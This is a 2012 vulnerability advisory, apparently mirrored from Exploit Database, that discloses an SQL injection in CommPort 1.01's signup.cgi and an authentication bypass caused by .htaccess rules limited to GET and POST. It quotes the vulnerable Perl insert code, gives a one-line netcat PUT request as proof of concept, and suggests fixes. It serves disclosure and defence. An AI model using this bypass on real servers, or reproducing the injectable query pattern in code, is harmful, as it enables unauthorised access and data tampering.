CommPort 1.01 – Multiple Vulnerabilities

• Exploit Database
• 12 阅读

• 作者： Jean Pascal Pereira
  日期： 2012-08-28
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/20871/

• --------------------------------------------
  CommPort 1.01 <= SQL Injection Vulnerability
  --------------------------------------------
  
  Discovered by: Jean Pascal Pereira <pereira@secbiz.de>
  
  Vendor information:
  
  "A 'Community Portal' generator that can be tailored for any location.
  Each user gets a personal portal page to which they can add their own
  'channels' or select from a growing list of pre-prepared local, national
  and international content. This allows any individual to always have a page
  of their own personal favourites in front of them. Channels may be either
  'active' with continually updated content such as weather or news headlines
  or 'passive' with collections of links."
  
  Vendor URI: http://www.tc.ca/commport/
  
  ----------------------------------------------------
  
  Risk-level: High
  
  The application is prone to a SQL injection vulnerability.
  
  ----------------------------------------------------
  
  signup.cgi, line 43:
  
  $Method = $ENV{'REQUEST_METHOD'};
  $PathInfo = $ENV{'PATH_INFO'};
  
  $Query = new CGI;
  
  if ($Method eq "POST") {
   $UN = $Query->param("UN");
   $PW1 = $Query->param("PW1");
   $PW2 = $Query->param("PW2");
   $EMail = $Query->param("EMail");
   $FName = $Query->param("FName");
   $LName = $Query->param("LName");
   $Addr = $Query->param("Addr");
   $City = $Query->param("City");
   $Prov = $Query->param("Prov");
   $PCode = $Query->param("PCode");
   $Country = $Query->param("Country");
  
  
  ----------------------------------------------------
  
  signup.cgi, line 226:
  
   $cmd = "insert into User (un,pw,email,fname,lname,address,community,prov,postal,country,Joined) values "
  ."(\"${UN}\",\"${PWC}\",\"${EMail}\",\"${FName}\",\"${LName}\",\"${Addr}\",\"${City}\",\"${Prov}\",\"${PCode}\",\"${Country}\",now())";
  
   $sth = $dbh->do($cmd) || &DumpError($sth->errstr);
  
  ----------------------------------------------------
  
  Solution:
  
  Do some input validation.
  
  ----------------------------------------------------
  
  
  ----------------------------------------------------
  CommPort 1.01 <= Authentication Bypass Vulnerability
  ----------------------------------------------------
  
  Discovered by: Jean Pascal Pereira <pereira@secbiz.de>
  
  Vendor information:
  
  "A 'Community Portal' generator that can be tailored for any location.
  Each user gets a personal portal page to which they can add their own
  'channels' or select from a growing list of pre-prepared local, national
  and international content. This allows any individual to always have a page
  of their own personal favourites in front of them. Channels may be either
  'active' with continually updated content such as weather or news headlines
  or 'passive' with collections of links."
  
  Vendor URI: http://www.tc.ca/commport/
  
  ----------------------------------------------------
  
  Risk-level: Medium/High
  
  The application is prone to an authentication bypass vulnerability.
  
  ----------------------------------------------------
  
  /htdocs/cp/.htaccess:
  
  AuthName "Community Portal"
  AuthType Basic
  AuthUserFile /home/piwcommport/auth/.commport
  
  <limit GET POST>
  require valid-user
  </limit>
  
  ErrorDocument 401 /signup.cgi
  
  ----------------------------------------------------
  
  /htdocs/cp/admin/.htaccess:
  
  AuthName "Community Portal"
  AuthType Basic
  AuthUserFile /home/piwcommport/auth/.commport
  
  <limit GET POST>
  require valid-user
  </limit>
  
  ErrorDocument 401 /signup.cgi
  
  ----------------------------------------------------
  
  The application protects specific areas by using base authentication.
  
  Since the authentication is limited to GET and POST, it can be bypassed
  by using different or random request types.
  
  ----------------------------------------------------
  
  Exploit / Proof Of Concept:
  
  $ perl -e 'print "PUT /cp/admin/ HTTP/1.0\n\n"' | nc [TARGET] 80
  
  -------------------------------------
  
  Solution:
  
  Remove the LIMIT directive from any htaccess file stored in the project directory.
  
  -------------------------------------